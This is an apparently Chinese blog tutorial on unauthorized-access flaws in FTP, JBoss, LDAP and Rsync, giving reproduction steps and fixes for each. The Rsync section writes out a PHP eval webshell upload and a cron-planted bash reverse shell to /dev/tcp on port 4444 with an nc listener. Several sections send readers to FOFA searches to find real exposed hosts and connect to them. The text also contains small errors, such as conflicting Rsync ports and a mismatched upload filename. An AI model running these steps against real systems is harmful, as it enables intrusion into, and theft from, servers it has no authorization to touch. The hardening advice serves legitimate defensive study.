FTP.JBoss,Ldap,Rsync未授权访问漏洞(附带修复方法)

一.FTP未授权访问漏洞(匿名登陆)

      FTP 弱⼝令或匿名登录漏洞,⼀般指使⽤ FTP 的⽤户启⽤了匿名登录功能,或系统⼝令的⻓度太短、复杂度不够、仅包含数字、或仅包含字⺟等,容易被⿊客攻击,发⽣恶意⽂件上传或更严重的⼊侵⾏为。

漏洞复现

首先我们要打开iis服务,我这里使用的server2012虚拟机开启,添加功能时要选择上ftp,然后在网站这里点击添加FTP站点

站点名称随便填写,物理路径选择一个有东西的文件夹,然后点击下一步

在这里选择一个物理机可以访问到的ip,选择无ssl后点击下一步

这里选择匿名和匿名用户,并且给了读取与写入的权限,点击完成

在物理机中的资源管理器中利用访问ftp://192.168.159.128:21/,就可以获取到该ftp站点下的所有文件了

漏洞修复

禁⽌匿名登录

二.JBoss

      JBoss是⼀个基于J2EE的开放源代码应⽤服务器,代码遵循LGPL许可,可以在任何商业应⽤中免费使⽤;JBoss也是⼀个管理EJB的容器和服务器,⽀持EJB 1.1、EJB 2.0和EJB3规范。,默认情况下访问 http://ip:8080/jmx-console 就可以浏览 JBoss 的部署管理的信息不需要输⼊⽤户名和密码可以直接部署上传⽊⻢有安全隐患。

漏洞复现

我们在fofa中搜索如下语句

title="Welcome to JBoss"

点击进入页面后,再点击页面中的JMX Console链接,如果能直接进入控制页面而不会显示404或者登陆界面的话,就证明这个网站存在未授权访问漏洞

出现如下界面,则存在未授权访问漏洞

然后我们还可以通过jboss.deployment部署shell

修复方法

1. jboss.deployment部署shell

2. 进⾏JMX Console 安全配置。

三.Ldap

      LDAP中⽂全称为:轻型⽬录访问协议(Lightweight Directory Access Protocol),默认使⽤ 389, LDAP 底层⼀般使⽤ TCP 或 UDP 作为传输协议。⽬录服务是⼀个特殊的数据库,是⼀种以树状结构的⽬录数据库为基础。 未对LDAP的访问进⾏密码验证,导致未授权访问。

漏洞复现

首先我们需要下载一个ldapadmin软件,链接:https://sourceforge.net/projects/ldapadmin/

下载完成后在fofa中进行搜索端口为389的ip

然后打开刚刚下载的ldapadmin软件,点击左上角的连接,然后点击new connection

将搜索到的IP地址填入框中,然后勾选下面的Anonymous connection(匿名访问)后点击Test connection(测试连接)

当出现连接成功时则证明该网页存在ldap未授权访问漏洞

然后就可以连接⽬标LDAP服务并查看其内容

如何修复

1. 修改ldap的acl,不允许匿名访问。

2. 根据业务设置ldap访问⽩名单或⿊名单。

四.Rsync

      Rsync 是Linux/Unix下的⼀个远程数据同步⼯具,可通过LAN/WAN快速同步多台主机间的⽂件 和⽬录,默认运⾏在873端⼝。由于配置不当,导致任何⼈可未授权访问rsync,上传本地⽂件,下载服务器⽂件。 Rsync 默认允许匿名访问,如果在配置⽂件中没有相关的⽤户认证以及⽂件授权,就会触发隐患。Rsync 的默认端⼝为 837 且默认配置⽂件路径在/etc/rsync.conf

漏洞复现

我们在fofa中搜索语法如下

(port="873") && (is_honeypot=false && is_fraud=false)

然后自己开启一个vulhub靶机,命令如下

cd vulhub/rsync/common
docker-compose up -d

然后到kali中利用如下语句去连接并读取文件

rsync rsync://192.168.124.153:873/
rsync rsync://192.168.124.153:873/src/

证明其有未授权访问漏洞后,就可以对其敏感文件内容进行下载,利用如下命令

rsync rsync://IP:port/src/etc/passwd ⽬标路径

如果靶机内有相应的asp/php/jsp环境的话,还可以写入一个一句话木马对其进行控制,命令如下

先自己写一个一句话木马:echo "<?php @eval($_POST[cmd]); ?>" > shell.php

然后将其放到靶机的home目录下:rsync ./phpinfo.php rsync://IP:873/src/home/

执行完成后查看是否上传成功,发现home中成功出现一个shell.php文件

反弹shell

在此可利⽤定时任务cron来反弹获取shell,首先利用如下命令查看靶机中的定时任务并将其下载

rsync rsync://IP:873/src/etc/crontab
//查看

rsync rsync://ip/src/etc/crontab /tmp/tmp/crontab.txt
//下载

定时任务内容为,⼤致意思为每17分钟调⽤⼀次/etc/cron.hourly,然后创建一个shell文件并对其授权

#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.10.128/4444 0>&1

chmod 777 shell

上传到靶机上,然后开启监听端口4444,等待即可反弹获取shell

rsync -av /tmp/tmp/shell rsync://192.168.124.153:873/src/etc/
cron.hourly

nc -lvp 4444

修复方法

配置认证⽤户名或者密码 host allow/deny 来控制接⼊源IP uid和gid,使⽤⾜够但最⼩权限的账号进⾏ 必要时候可以配置只读 ⾮必要应该仅限制配置路径下可访问

1.修改指定端⼝

- 配置⽂件不存在修改指定端⼝的选项,可以在启动命令⾏通过参数指定

/usr/local/rsync/bin.rsync --port=878 --daemon

- 查看进程检测是否更改端⼝ ps -ef | grep rsync

2.禁⽌匿名访问

- 配置⽂件/etc/rsync.conf中增加 auth users = test

- 若未包含auth users即为匿名访问

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值